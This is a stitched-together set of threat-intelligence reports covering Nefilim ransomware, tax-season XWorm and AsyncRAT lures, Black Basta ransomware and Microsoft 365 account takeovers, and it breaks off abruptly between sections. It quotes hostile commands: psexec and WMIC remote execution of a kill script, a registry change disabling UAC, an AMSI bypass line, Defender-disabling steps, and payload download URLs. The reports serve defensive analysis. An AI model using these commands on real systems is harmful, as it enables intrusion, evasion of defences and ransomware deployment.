It has been also seen that Nefilim uses other tools to gather credentials that include Mimikatz, LaZagne, and NirSoft’s NetPass.


It uses bat files to stop services/kill processes as shown in below image, and the stolen credentials are used to reach high-value machines like servers.


Some of the commands that execute by the attacker Start copy kill.bat \destinationip\c$\windows\temp Start psexec.exe \destinationip -u domain\username\ -p password -d


-h -r mstdc -s -accepteula -nobanner c:\windows\teamp\Kill.bat Start psexec.exe -accepteula \destinationip -u domain\username\ -p password reg add HKLM\software\Microsoft\Windows\CurrentVersion\Policies\System /v


EnableLUA /t REG_DWORD /d


0 /F WMIC /node: \destinationip /username:”domain\username” /password:”password” process CALL CREATE “cmd.exe /c


/password:”password” process CALL CREATE “cmd.exe /c C:\WINDOWS\TEMP\kill.bat" Below images shows A batch file to stop services/kill processes Fig.


It appends AES encrypted key at end of the encrypted file.


This AES encryption key will then be encrypted by an RSA-2048 public key that is embedded in the ransomware executable.


3 Crypto API’s in Nefilim IOC In the Below image malware create Mutex Fig.


4 Creating Mutex Some of the Anti-debugging techniques: Ransomware uses anti-debugging method by calling the IsDebuggerPresent function.


This function detects if the calling process is being debugged by a user-mode debugger.


It also makes use of API GetTickCount / QueryPerformanceCounter to get the number of ticks since the last system reboot.


Anti debugging API Fig.


The attack was first published on May 5, 2020.


Two months previously, Toll Group was a victim of a Netwalker ransomware attack.


In both cases, Toll Group refused to pay the ransom.


In response, Nefilim leaked sensitive Toll Group data and popularized that Toll Group had failed to employ full cybersecurity protocols even after the Netwalker attack, potentially making the organization vulnerable to more attacks.


This demonstrates how Nefilim will keep the pressure on its victims to pay ransoms.


Disable RDP if not used.


Use VPN to access the network, instead of exposing RDP to the Internet.


Possibility implement Two Factor Authentication (2FA).Set lockout policy which hinders credentials guessing.


Create a separate network folder for each user when managing access to shared network folders.


Take regular data backup Protect systems from ransomware by periodically backing up important files regularly and keep a recent backup copy offline.


Encrypt your backup.


Always use a combination of online and offline backup.


Do not keep offline backups connected to your system as this data could be encrypted when ransomware strike.


Keep software updated Always keep your security software (antivirus, firewall, etc.)


Avoid downloading software from untrusted P2P or torrent sites.


In most cases, they are malicious software.


Also, avoid browsing, opening documents, or other regular work activities while logged in as an administrator.


Nefilim TTP Map Initial AccessExecutionDefense EvasionCredential AccessDiscoveryLateral MovementExfiltrationImpactExploit


Public-Facing Application (T1190)Native API (T1106)File Deletion (T1070.004)OS Credential Dumping (T1003)Software Discovery: Security Software Discovery (T1518.001)Lateral Tool Transfer (T1570)Exfiltration Over Web Service: Exfiltration to Cloud Storage (T1567.002)Data Encrypted for impact (T1486)Impair Defenses: Disable or Modify Tools (T1562:001)Remote System Discovery (T1018)Inhibit system Recovery (T1490)System Information Discovery (T1082)File and Directory Discovery (T1083) Indicators of Compromise (IOCs) SHA256 8be1c54a1a4d07c84b7454e789a26f04a30ca09933b41475423167e232abea2bb8066b7ec376bc5928d78693d236dbf47414571df05f818a43fb5f52136e8f2e3080b45bab3f804a297ec6d8f407ae762782fa092164f8ed4e106b1ee7e249537de8ca88e240fb905fc2e8fd5db6c5af82d8e21556f0ae36d055f623128c3377b227fa0485e34511627a8a4a7d3f1abb6231517be62d022916273b7a51b80a173bac058dbea51f52ce154fed0325fd835f35c1cd521462ce048b41c9b099e1e5353ee5805bc5c7a98fb5d522b15743055484dc47144535628d102a4098532cd55ab834f599c6ad35fcd0a168d93c52c399c6de7d1c20f33e25cb1fdb25aec9c652e25bdd600695cfed0d4ee3aca4f121bfebf0de889593e6ba06282845cf39ea35a0bced28fd345f3ebfb37b6f9a20cc3ab36ab168e079498f3adb25b41e156f7a73032ece59af3316c4a64490344ee111e4cb06aaf00b4a96c10adfdd65559908c7dfde13ade4b13350ae290616d7c2f4a87cbeac9a3886e90a175ee40fb641D4492a9eb36f87a9b3156b59052ebaf10e264d5d1ce4c015a6b0d205614e58e3B8066b7ec376bc5928d78693d236dbf47414571df05f818a43fb5f52136e8f2efcc2921020690a58c60eba35df885e575669e9803212f7791d7e1956f9bf8020 References https://www.zdnet.com/article/nemty-ransomware-operation-shuts-down/https://www.bleepingcomputer.com/news/security/new-nefilim-ransomware-threatens-to-release-victims-data/https://www.bleepingcomputer.com/news/security/nemty-ransomware-punishes-victims-by-posting-their-stolen-data/https://www.trendmicro.com/vinfo/au/security/news/cybercrime-and-digital-threats/updated-analysis-on-nefilim-ransomware-s-behaviorhttps://www.bankinfosecurity.com/blogs/toll-group-data-leaked-following-second-ransomware-incident-p-2902https://www.tollgroup.com/toll-it-systems-updateshttps://www.picussecurity.com/resource/blog/how-to-beat-nefilim-ransomware-attacks


Affected Platforms: WindowsImpacted Users: Windows usersImpact: Compromised machines are under the control of the threat actor, potentially resulting in stolen personally identifiable information (PII), credential theft, financial loss, etc.Severity Level:

Deja Vu All Over Again Tax Scammers at Large


Targeting calendar-based events enables threat actors to prepare ahead of time and have a new selection of targets on rotation.


This blog covers a few examples of malware that take advantage of tax season.


Although such attacks may seem repetitive to the casual observer, threat actors would not continue to target taxpayers if previous attacks had not been successful.


XWorm Delivered Through Tax Scam FortiGuard Labs became aware of a curious-looking archive file hosted on an open directory on www[.]farmaciasmv[.]com/citrix/2022%20tax_documents[.]zip, which has since been removed.


Empty open directory that hosted 2022%20tax_documents[.]zip


The zip file contains the following files: Annual Withdrawal.xlsx (SHA2: 59bb292565ebc86800e5e4d625d3c19f98afe2261d3da1a8e2f9b45ec76153a0) Robert tax_docs.pdf (SHA2: a9f4b054ea128529c62a8ff25f1439651f045e443adf5ff11fb5bd29f1333a7a) Figure 2.


Contents of the 2022%20tax_documents[.]zip The XLSX file is a benign decoy file that contains financial data from an unknown source.


Contents of the Annual Withdrawal.xlsx The other file is malicious.


Despite Robert tax_docs.pdf having a PDF icon, it is different from what it seems.


The file is actually a link (LNK) file that launches the legitimate script (C:\Windows\System32\SyncAppvPublishingServer.vbs), which has a known issue of taking command line arguments.


The link file exploits this issue and feeds the legitimate script with the following command line argument to download and execute a remote “note.hta”: ;\W_\*2\\\m_h_a_e ('http'+'://datacenter002[.]myftp[.]biz/documents/note.


'+'hta')


The downloaded note.hta uses PowerShell to download another remote file hosted on hxxp://datacenter002[.]myftp[.]biz/documents/note[.]gif, which was not available at the time of our investigation.


Finding another note.gif (SHA2: 0487ef401345aa17c6aaeac23151219863e1363f82fe76edd0066bbf3fb07715) based on the same infection chain let us continue our quest to the payload.


note.gif is a PowerShell script that creates the following files: C:\Users\Public\onedrive.vbs (SHA2: 92C1767EE4A954B93D6AFA9AE83FE82B82D2867D919D0359DCF2C8DA75FB8C7C)


C:\Users\Public\test.vbs (SHA2: ADBA59F1495965684EEB4C5DAAD67F732FEB5E9183AE05EB869E20C88CAD7327) C:\Users\Public\onedrive.ps1 (SHA2: 7A9705A424A634A321DB9F36B61D74B953A44D44EDC429F7641BF830870572FC) Once launched, it executes the onedrive.vbs and test.vbs files.


Note.txt containing fake “QUARTERLY TAX PAYMENTS FOR 2022” data onedrive.vbs runs the previously created onedrive.ps1 filled with activities designed to hamper Windows Defender.


It first executes the following known AMSI (Antimalware Scripting Interface) bypass:


[Ref].Assembly.GetType(‘System.


.GetField(‘amsiInitFailed’,’NonPublic,Static’).SetValue($null,$true) It also disables AMSI by hijacking the COM server, changing it from "%windir%\system32\amsi.dll" to "C:\IDontExist.dll".


The PowerShell script then performs the following actions to alter Windows Defender settings: Adds the following exclusions to Windows DefenderExtensions: .bat, .ppam, .xls, .docx, .bat, .exe, .vbs, .js


File paths: C:\, D:\, E:\ Processes: explorer.exe, kernel32.dll, aspnet_compiler.exe, cvtres.exe, CasPol.exe, csc.exe, Msbuild.exe, ilasm.exe, InstallUtil.exe, jsc.exe, Calc.exe, powershell.exe, rundll32.exe, conhost.exe, Cscript.exe, mshta.exe, cmd.exe, DefenderisasuckingAntivirus, wscript.exe Allows known Windows Defender Threat IDs to execute Disables Windows Defender Attack Surface Reduction (ASR) rules Disables the following Windows Defender features:Intrusion Prevention System IO AV Protection (does not scan downloaded files and attachments)


Realtime monitoring Script scanning Controlled folder access protection PUA protection Scheduled scan Sets Network Protection to audit mode in Windows Defender (allows users to visit known malicious sites but logs them in the event log)


Disables MAPS (Microsoft Active Protection Service) reporting Never submits samples to Microsoft Allows severe/high/moderate/low-level threats to execute Disables the "administrator in Admin Approval Mode" user type (disables UAC prompts) Stops the WinDefend service (Windows Defender) Disables the startup of the WinDefend service Deletes the WinDefend service Creates a user named "System32" with the password “123” (no quotes) Adds the System32 user to both the "administrators" group and the "Remote Desktop Users" group Stops the Microsoft Defender Antivirus Network Inspection Service (WdNisSvc) Turns off Windows Firewall The PowerShell script finally uses reflective loading to load a binary into memory that injects XWorm RAT version 3.1.


Furthermore, we discovered other files that follow a similar attack pattern; “Mary tax docs.pdf.lnk” (SHA2: 6dee21d581eac2214e3ea7259bf9cb3e0cc31b442a372ffba00f82aa858050f0) and “Wilson tax_docs.pdf.lnk” (SHA2: c06cf72149d52b8a7c73b38c075156df4c458f633c3031c3c0ce32741ad1518e) that were used in March 2023.


As with the attack mentioned previously, these link files are disguised as PDF files to fool potential victims into opening them.


“Mary tax docs.pdf.lnk”, along with another clean Microsoft Office file, “R&P Sales Summary.docx”, are included in an archived file labeled “2022 tax docs.zip”.


The “doc.pdf” is actually a VBA file that uses PowerShell to pull and run “hxxp://datacenter11[.]myftp[.]org/met/a[.]mp3”.


While the “a.mp3” is not available for investigation, OSINT (Open Source Intelligence) indicates that the XWorm malware is likely delivered to the victim’s machine.


XWorm From the evidence that FortiGuard Labs accumulated during our research, we have high confidence that the 2022%20tax_documents[.]zip file we initially analyzed delivers the XWorm.


XWorm is a commodity RAT (Remote Access Trojan) reportedly sold in underground forums for $30 to $150.


XWorm supports typical RAT functions, such as taking screenshots, keylogging, and taking control of a compromised machine by abusing Virtual Network Computing (VNC), a technique infamously known as Hidden VNC (HVNC).


Leaked cracked version of XWorm v3.1 Figure 6.


Some of the functionalities supported by XWorm v3.1 Figure 7.


Download page of the cracked version of XWorm v.3.1 Going back to the first example, “2022%20tax_documents[.]zip”, we found that it was hosted on the open directory “www[.]farmaciasmv[.]com/citrix/”.


We also found another page on the same domain likely used for phishing hxxp://farmaciasmv[.]com/sharefile/citrix/2022%20taxes[.]html.


The files involved in this attack were submitted to VirusTotal.


We don’t believe victims just wander into such malicious sites by accident.


Based on our experience, they were likely lured via malicious links in spam emails.


Manual interactions are required up until the files inside the zip file are extracted, and the link file is manually run.


We were able to locate another file, “TaxReturns2022.iso” (SHA2: bb7138a106ee2e0a384896316679c750e3287b51fc16a5e65ccd1e44911162d6), that contains identical files.


Figure 8.


Contents of TaxReturn2022.img Figure 9.


Contents of TaxReturns2022.iso Unfortunately, the infection vector for both files has not been identified, but the likely attack avenue is an email containing malicious attachments and links.


As with the previous example, “TaxReturn2022.pdf.lnk” has a PDF icon.


However, it’s a link (shortcut) file, as seen in Figure 4.


Manually executing the lnk file triggers the download of wed.hta from hxxp://179.43.175[.]187/pqpf/ and saves it as %USERAPPDATA%\wed.hta (SHA2: 0cbaf95b9d4df27442d753dc4cb600eda0a7ecb95e4071f380f69f5f3c89adb1).


The downloaded file is an HTA web file containing VBScript code for the next action and a lot of junk code.


It eventually runs: powershell.exe -ExecutionPolicy


In this case, it downloads “TaxReturn2022.pdf” from hxxp://179.43.175[.]187/pqpf/, saves it as %USERAPPDATA%\TaxReturn2022.pdf, and opens it.


Unfortunately, this PDF file is a clean decoy file that also requires an unidentified password to open.


HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\iXqrVo =


This behavior led us to believe that the threat actor behind this attack relies on templates and uses them without really knowing what they are because there is no valid reason to open a decoy PDF file at every startup, and adding the HIDDEN file attribute is usually reserved for executables and DLLs.


In this case, it downloads TCywxTOvZk.wsf from hxxp://[redacted].67[.]12:222/ and saves it as %USERAPPDATA%\TCywxTOvZk.wsf (SHA2: 351b0514feaa6a2fc21af25ad7c6c9bed93e38ef896d3fb6c8633924d8615e2d).


TCywxTOvZk.wsf has only three meaningful lines of code out of almost 2840 lines and downloads and runs hxxp://[redacted].67[.]12:222/no[.]txt (SHA2: d7c63c4d488918aa09fcbd2012d041ed440377af51a87e757c40df3725b1eb07).


no.txt contains VBScript code that downloads and executes hxxp://[redacted].67[.]12:222/j[.]png (SHA2: 460d093a55b930e733c60575f82183cd0edd52ec6b927cdb4a93dc5da7f0ac9c), which is a PowerShell script that creates the following files: C:\ProgramData\Document\py.ps1 C:\ProgramData\schtasks\Microsoft.bat C:\ProgramData\Document\x.ps1 The script then runs Microsoft.bat, which uses MSHTA.exe to run PowerShell code to run py.ps1.


The .ps1 file contains two PE files (stored in $apprun and $appme).


It uses 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe' to reflectively load $apprun, which then loads $appme, which was identified as an ASync RAT variant that connects to the attacker’s Command-and-Control (C2) server located at nulled2nd[.]camdvr[.]org:6666.


We also found another .lnk file (SHA2: c0a59b28919282b3c45a9619410ea95e35f86dbf43266e6f9a25b94f5948018b) hidden in TaxReturns2022.pdf.iso (SHA2: ee1299f4e56c7f5af243df63192f1c7574152c0600edc49c37b9f8b703da02f2).


This link file goes through the same infection chain as the previous one:


However, OSINT led us to find the next action.


qDxcmqPPmI[.]wsf downloads and executes hxxp://[redacted].67[.]12:222/no[.]txt no[.]txt downloads and executes hxxp://[redacted].67[.]12:222/j[.]png j.png creates py.ps1 and x.ps1.


It also creates and runs Microsoft.bat Microsoft.bat runs py.ps1, which eventually installs Async RAT on the compromised machine Curiously the attacker left the hosting location of the malicious files wide open.


Files hosted on the attacker’s open directory


This indicates that the threat actor also leverages Adobe as a lure to install the AsyncRAT variant.


readerdc64_en_l_cra_mdr_install_update.exe[.]lnk (SHA2: 653fcea661d8f7d996210dcdbcad110f0dcca8e7bbc906bb0a4d12e3ab674483) readerdc64_en_l_cra_mdr_install_update[.]exe (SHA2: 1b012d01c86be5d68959504d362c52170b27d726cf2943e2e0250506a29c765a) – this is a legitimate Adobe Acrobat Reader DC installer.


But however potential victims end up with the “TaxReturn2022.img” and “TaxReturns2022.pdf.iso” files on their system, users still need to manually mount them and run the fake PDFs to trigger the infection chain.


A little caution can go a long way toward protecting yourself against tax-related malware.


Conclusion The attacks covered in this blog are the tip of the iceberg.


Attackers make every attempt to scam taxpayers for financial gain and data exfiltration for future attacks.


In the end, those looking to save a dime, in this case, from Uncle Sam, often find that greed endangers them in the cyber world.


For additional information, please refer to the “Tax Scams/Consumer Alerts” alert issued by the IRS for other tips on protecting yourself from tax-related scams.


Fortinet Protection FortiGuard AntiVirus detects the malicious files identified in this report with the following signatures: JS/Agent.7593!tr JS/Agent.


GDRU!tr LNK/Agent.1eb5!tr.dldr LNK/Agent.3aad!tr.dldr LNK/Agent.412e!tr.dldr LNK/Agent.9982181!tr LNK/Agent.


BF20!tr LNK/Agent.


FF8D!tr PowerShell/Agent.


E67B!tr VBS/Agent.5247!tr.dldr VBS/Agent.9FA6!tr VBS/Agent.


E67C!tr.dldr VBS/Agent.


XAO!tr VBS/Agent.


YNQ!tr VBS/Agent.


Customers running current AntiVirus updates are protected.


The FortiGuard Web Filtering Service detects the download URLs cited in this report as Malicious and blocks them.


Due to the ease of disruption, damage to daily operations, potential impact to an organization's reputation, and the unwanted destruction or release of PII, etc., it is essential to keep all AV and IPS signatures current.


If you believe this or any other cybersecurity threat has impacted your organization, please contact our Global FortiGuard Incident Response Team.


IOCs File IOCs: Network IOCs


Executive Summary Black Basta is ransomware as a service (RaaS) that first emerged in April 2022.

Threat Assessment Black Basta Ransomware


The Black Basta operator(s) use the double extortion technique, meaning that in addition to encrypting files on the systems of targeted organizations and demanding ransom to make decryption possible, they also maintain a dark web leak site where they threaten to post sensitive information if an organization chooses not to pay ransom.


Black Basta affiliates have been very active deploying Black Basta and extorting organizations since the ransomware first emerged.


Although the Black Basta affiliates have only been active for the past couple of months, based on the information posted on their leak site, they have compromised over 75 organizations at the time of this publication.


Unit 42 has also worked on several Black Basta incident response cases.


The ransomware is written in C++ and impacts both Windows and Linux operating systems.


The faster the ransomware encrypts, the more systems can potentially be compromised before defenses are triggered.


It is a key factor affiliates look for when joining a Ransomware-as-a-Service group.


Palo Alto Networks customers receive help with detection and prevention of Black Basta ransomware through the following products and services: Cortex XDR and Next-Generation Firewalls (including cloud-delivered security services such as WildFire).


If you think you may have been impacted by a cyber incident, the Unit 42 Incident Response team is available 24/7/365.


You can also take preventative steps by requesting any of our cyber risk management services.


Although the Black Basta RaaS has only been active for a couple of months, according to its leak site, it had compromised over 75 organizations at the time of this publication.


It is also possible that this is not a new operation but rather a rebrand of a previous ransomware group that brought along their affiliates.


Unit 42 has observed the Black Basta ransomware group using QBot as an initial point of entry and to move laterally in compromised networks.


QBot, also known as Qakbot, is a Windows malware strain that started as a banking trojan and evolved into a malware dropper.


While these ransomware groups used QBot for initial access, the Black Basta group was observed using it for both initial access and to spread laterally throughout the network.


Figure 1 below shows the standard attack lifecycle observed with Black Basta ransomware.


Black Basta attack lifecycle based on Unit 42 incident response cases.


Technical Details Black Basta is written in C++ and is cross-platform ransomware that impacts both Windows and Linux systems.


In June 2022, a VMware ESXi variant of Black Basta was observed targeting virtual machines running on enterprise Linux servers.


The ransomware spawns a mutex with a string of dsajdhas.0 to ensure a single instance of the malware is running at a time.


Black Basta ransomware encrypts users’ data through a combination of ChaCha20 and RSA-4096.


The ransomware also attempts to delete shadow copies and other backups of files using vssadmin.exe, a command-line tool that manages Volume Shadow Copy Service (VSS), which captures and copies stable images for backups on running systems.


It writes the Random-letters.ico and Random-letters.jpg files to the %TEMP% directory.


The .jpg file is leveraged to overwrite the desktop background and appears as follows: Figure 2.


Black Basta desktop wallpaper.


It will then boot the system in safe mode and proceed to encrypt files.


Following successful encryption, the file’s extension is changed to .basta


and the ransomware will write numerous instances of readme.txt, which contains the following ransom note: Figure 4.


Black Basta ransom note.


Tactics, Techniques and Procedures We have observed Black Basta affiliates leveraging the following TTPs: Tactic / Technique Notes TA0001 Initial Access T1566.001.


Phishing:


Spear phishing Attachment Victims receive spear phishing emails with attached malicious zip files - typically password protected.


That contains malicious doc including .doc, .pdf, .xls TA0002 Execution T1569.002.


System Services: Service Execution Black Basta has installed and used PsExec to execute payloads on remote hosts.


Windows Management Instrumentation Utilizes Invoke-TotalExec to push out the ransomware binary. T1059.001.


PowerShell Black Basta has encoded PowerShell scripts to download additional scripts.


TA0003 Persistence T1136.


Account Manipulation Added newly created accounts to the administrators' group to maintain elevated access. T1543.003.


Create or Modify System Process:


Windows Service Creates benign-looking services for the ransomware binary. T1574.001.


Hijack Execution Flow: DLL Search Order Hijacking Black Basta used Qakbot, which has the ability to exploit Windows 7 Calculator to execute malicious payloads.


TA0004 Privilege Escalation T1484.001.


Group Policy Modification Black Basta can modify group policy for privilege escalation and defense evasion. T1574.001.


Windows Service Creates benign-looking services for the ransomware binary.


Group Policy Modification Black Basta can modify group policy for privilege escalation and defense evasion. T1218.010.


System Binary Proxy Execution: Regsvr32 Black Basta has used regsvr32.exe to execute a malicious DLL. T1070.004.


Indicator Removal on Host: File Deletion Attempts to delete malicious batch files.


Modify Registry Black Basta makes modifications to the Registry.


Deobfuscate/Decode Files or Information Initial malicious .zip file bypasses some antivirus detection due to password protection.


Impair Defenses: Disable or Modify System Firewall Uses batch scripts, such as rdp.bat or SERVI.bat, to modify the firewall to allow remote administration and RDP.


Impair Defenses: Safe Boot Mode Uses bcdedit to boot the device in safe mode. T1574.001.


Debugger Evasion Uses IsDebuggerPresent to check if processes are being debugged.


TA0006 Credential Access T1555.


Credentials from Password Stores Black Basta uses Mimikatz to dump passwords.


TA0007 Discovery T1087.002.


System Network Configuration Discovery Lists internal IP addresses to target in C:\Windows\pc_list.txt – typically found on the Domain Controller. T1082.


System Information Discovery Uses GetComputerName to query the computer name.


TA0008 Lateral Movement T1021.001.


Remote Services:


Remote Desktop Protocol Black Basta has used RDP for lateral movement.


TA0009 Collection T1560.001.


Archive Collected Data: Archive via Utility TA0010 Exfiltration T1567.


Exfiltration over Web Service TA0011 Command and Control T1219.


Remote Access Software Black Basta has installed and used legitimate tools such as TeamViewer and AnyConnect on targeted systems. T1573.


Encrypted Channel Uses Qakbot primarily and Cobalt Strike.


TA0040 Impact T1486.


Data Encrypted for Impact Black Basta modifies the Desktop background by adding a .jpg in C:\Temp and creating a registry key HKCU\Control Panel\Desktop.


Uses ChaCha20 or RSA-4096 to encrypt victims. T1489.


Service Stop Uses sc stop and taskkill to stop services.


Inhibit System Recovery Black Basta deletes Volume Shadow Copies using vssadmin.


Table 1.


Tactics, techniques and procedures for Black Basta activity.


Victimology


The ransomware group and its affiliate program reportedly compromised multiple large organizations, in sectors including consumer and industrial products; energy, resources and agriculture; manufacturing; utilities; transportation; government agencies; professional services and consulting; and real estate.


Black Basta operators also posted on dark web forums expressing interest in attacking organizations based in Australia, Canada, New Zealand, the U.K. and the U.S. Threat actors using the ransomware impacted organizations based in the U.S., Germany, Switzerland, Italy, France and the Netherlands (listed in descending order by numbers of allegedly breached organizations).


Black Basta post on dark web forums.


The threat actor(s) responsible for Black Basta operate a cybercrime marketplace and victim name-and-shame blog.


There were 75 victims listed on the leak site at the time of writing.


Black Basta News site where the threat actors post allegedly breached organizations (details redacted) and number of visits.


Generic V2 Execution The below courses of action mitigate the following techniques: Service Execution


The below courses of action mitigate the following techniques: Create Account


[T1136], Account Manipulation [T1098], Regsvr32


[T1070.004], Disable or Modify Tools [T1562.001], Modify Registry


Ensure that User-ID is only enabled for internal trusted interfaces CORTEX XSOAR Deploy XSOAR Playbook – Access Investigation Playbook Deploy XSOAR Playbook – Block Account Generic Deploy XSOAR Playbook – Impossible Traveler CORTEX XDR PREVENT Configure Host Firewall Profile Enable Anti-Exploit Protection Configure Restrictions Security Profile Configure Behavioral Threat Protection under the Malware Security Profile Enable Anti-Malware Protection Credential Access The below courses of action mitigate the following techniques: Credentials from Password Stores [T1555] CORTEX XDR Cortex XDR monitors for behavioral events and files associated with credential access and exfiltration Discovery


The below courses of action mitigate the following techniques: System Network Configuration Discovery [T1016],


System Information Discovery [T1082], Domain Account


[T1087.002] CORTEX XDR Cortex XDR monitors for behavioral events along a causality chain to identify discovery behaviors Lateral Movement


The below courses of action mitigate the following techniques: Archive via Utility [T1560.001] CORTEX XDR Monitors for behavioral events via BIOCs including the creation of zip archives Command and Control The below courses of action mitigate the following techniques: Remote Access Software [T1219],


Encrypted Channel [T1573] CORTEX XSOAR Deploy XSOAR Playbook – PAN-OS Query Logs for Indicators Deploy XSOAR Playbook – Block URL Deploy XSOAR Playbook – Block IP NEXT-GENERATION FIREWALLS Ensure that the Certificate used for Decryption is Trusted Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources Exists Ensure 'SSL Forward Proxy Policy' for traffic destined to the Internet is configured Ensure 'SSL Inbound Inspection' is required for all untrusted traffic destined for servers using SSL or TLS Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist THREAT PREVENTION Ensure DNS sinkholing is configured on all anti-spyware profiles in use Ensure passive DNS monitoring is set to enabled on all anti-spyware profiles in use Ensure a secure anti-spyware profile is applied to all security policies permitting traffic to the Internet Ensure that antivirus profiles are set to block on all decoders except 'imap' and 'pop3' Ensure an anti-spyware profile is configured to block on all spyware severity levels, categories, and threats Ensure a secure antivirus profile is applied to all relevant security policies URL FILTERING Ensure secure URL filtering is enabled for all security policies allowing traffic to the Internet Ensure all HTTP Header Logging options are enabled Ensure that PAN-DB URL Filtering is used Ensure that URL Filtering uses the action of ‘block’ or ‘override’ on the URL categories Ensure that access to every URL is logged Impact The below courses of action mitigate the following techniques: Data Encrypted for Impact [T1486], Service Stop [T1489],


Inhibit System Recovery [T1490] CORTEX XSOAR Deploy XSOAR Playbook – Ransomware Manual for incident response.


Deploy XSOAR Playbook – Palo Alto Networks Endpoint Malware Investigation Conclusion Black Basta ransomware operators have been active since at least April 2022.


Due to the high-profile nature and steady stream of Black Basta attacks identified globally in 2022, the operators and/or affiliates behind the service likely will continue to attack and extort organizations.


Palo Alto Networks helps detect and prevent Black Basta ransomware in the following ways: WildFire:


All known samples are identified as malware.


Cortex XDR: Identifies indicators associated with Black Basta.


Anti-Ransomware Module blocks Black Basta encryption behaviors on Windows.


Local Analysis detection for Black Basta binaries on Windows and Linux.


Behavioral Threat Prevention prevents Black Basta behaviors.


Next-Generation Firewalls:


DNS Signatures detect the known C2 domains, which are also categorized as malware in Advanced URL Filtering.


If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call North America Toll-Free: 866.486.4842 (866.4.UNIT42), EMEA: +31.20.299.3130, APAC: +65.6983.8730, or Japan: +81.50.1790.0200. Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members.


CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors.


Additional Resources Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us


The broad range of attack methods utilized by attackers seems to present an insurmountable problem: how do you defend against a playbook that does not yet exist?Faced with the growing number of novel and uncommon attack methods, it is essential for organizations to adopt a security solution able to detect threats based on their anomalies, rather than relying on threat intelligence alone.

Hafniuminspired cyberattacks neutralized by AI


In March 2023, Darktrace observed an emerging trend in the use of an application known as ‘PerfectData Software’ for probable malicious purposes in several Microsoft 365 account takeovers.


Malicious actors typically gain entry to organizations’ Microsoft 365 environments by abusing either stolen account credentials or stolen session cookies


Once inside, actors can access sensitive data within mailboxes or SharePoint repositories, and send out emails or Teams messages.


This activity can often result in serious financial harm, especially in cases where the malicious actor’s end-goal is to elicit fraudulent transactions.


One typical example is the creation of new inbox rules and sending deceitful emails intended to convince recipients to carry out subsequent actions, such as following a malicious link or providing sensitive information.


It is also common for actors to register new applications in Azure AD so that they can be used to conduct follow-up activities, like mass-mailing or data theft.


These registrations of applications in Azure AD are evidenced by creations of, as well as assignments of permissions to, Service Principals in Azure AD.


Further investigation of this Azure AD activity revealed it to be part of an ongoing account takeover.


‘PerfectData Software’ Activity Darktrace observed variations of the following pattern of activity relating to an application named ‘PerfectData Software’ within its customer base:Actor signs in to a Microsoft 365 account from an endpoint associated with a Virtual Private Server (VPS) or Virtual Private Network (VPN) serviceActor registers an application called 'PerfectData Software' with Azure AD, and then grants permissions to the applicationActor accesses mailbox data and creates inbox rule In two separate incidents, malicious actors were observed conducting their activities from endpoints associated with VPN services (HideMyAss (HMA) VPN and Surfshark VPN, respectively) and from endpoints within the Autonomous System AS396073 MAJESTIC-HOSTING-01.


In March 2023, Darktrace observed a malicious actor signing in to a Microsoft 365 account from a Kuwait-based IP address within the Autonomous System, AS198605 AVAST Software s.r.o.


This IP address is associated with the VPN service, HMA VPN.


Over the next couple of days, an actor (likely the same malicious actor) signed in to the account several more times from two different Nigeria-based endpoints, as well as a VPS-related endpoint and a HMA VPN endpoint.


During their login sessions, the actor performed a variety of actions.


This Service Principal creation represents the registration of an application called ‘PerfectData Software’ in Azure AD.


Although the reason for registering this application is unclear, within a few days the actor registered and granted permission to another application, ‘Newsletter Software Supermailer’, and created a new inbox rule names ‘s’ on the mailbox of the hijacked account.


This inbox rule moved emails meeting certain conditions to a folder named ‘RSS Subscription.


Additionally, there was an unusually high volume of failed logins to the compromised account around the time of the initial access.


Figure 1: Advanced Search logs depicting the steps which the actor took after logging in to a user’s Microsoft 365 account.


This login was followed by several failed and successful logins from a VPS-related within the Autonomous System, AS396073 MAJESTIC-HOSTING-01.


The actor was then seen registering and assigning permissions to an application called ‘PerfectData Software’.


As with the previous example, the motives for this registration are unclear.


The actor proceeded to log in several more times from a Surfshark VPN endpoint, however, they were not observed carrying out any further suspicious activity.


Figure 2: Advanced Search logs depicting the steps which the actor took after logging in to a user’s Microsoft 365 account.


It was not clear in either of these examples, nor in fact any of cases observed by Darktrace, why actors had registered and assigned permissions to an application called ‘PerfectData Software’, and there do not appear to be any open-source intelligence (OSINT) resources or online literature related to the malicious usage of an application by that name.


That said, there are several websites which appear to provide email migration and data recovery/backup tools under the moniker ‘PerfectData Software’.


It is unclear whether the use of ‘PerfectData Software’ by malicious actors observed on the networks of Darktrace customers was one of these tools.


If the legitimate software ‘PerfectData’ is the application in question in these incidents, it is likely being purchased and misused by attackers for malicious purposes.


It is also possible the application referenced in the incidents is a spoof of the legitimate ‘PerfectData’ software designed to masquerade a malicious application as legitimate.


Darktrace CoverageCases of ‘PerfectData Software’ activity chains detected by Darktrace typically began with an actor signing into an internal user’s Microsoft 365 account from a VPN or VPS-related endpoint.


These login events, along with the suspicious email and/or brute-force activity which preceded them, caused the following DETECT models to breach:SaaS / Access / Unusual External Source for SaaS Credential UseSaaS / Access / Suspicious Login AttemptSaaS / Compromise / Login From Rare Following Suspicious Login Attempt(s)SaaS / Email Nexus / Unusual Location for SaaS and Email ActivitySubsequent activities, including inbox rule creations, registration of applications in Azure AD, and mass-mailing activity, resulted in breaches of the following DETECT models.


SaaS / Admin / OAuth Permission Grant SaaS / Compromise / Unusual Logic Following OAuth Grant SaaS / Admin / New Application Service


PrincipalIaaS / Admin / Azure Application Administration ActivitiesSaaS / Compliance / New Email RuleSaaS / Compromise / Unusual Login and New Email RuleSaaS / Email Nexus / Suspicious Internal Exchange ActivitySaaS / Email Nexus / Possible Outbound Email SpamSaaS / Compromise / Unusual Login and Outbound Email SpamSaaS / Compromise / Suspicious Login and Suspicious Outbound Email(s)Figure 3: DETECT Model Breaches highlighting unusual login and 'PerfectData Software' registration activity from a malicious actor.


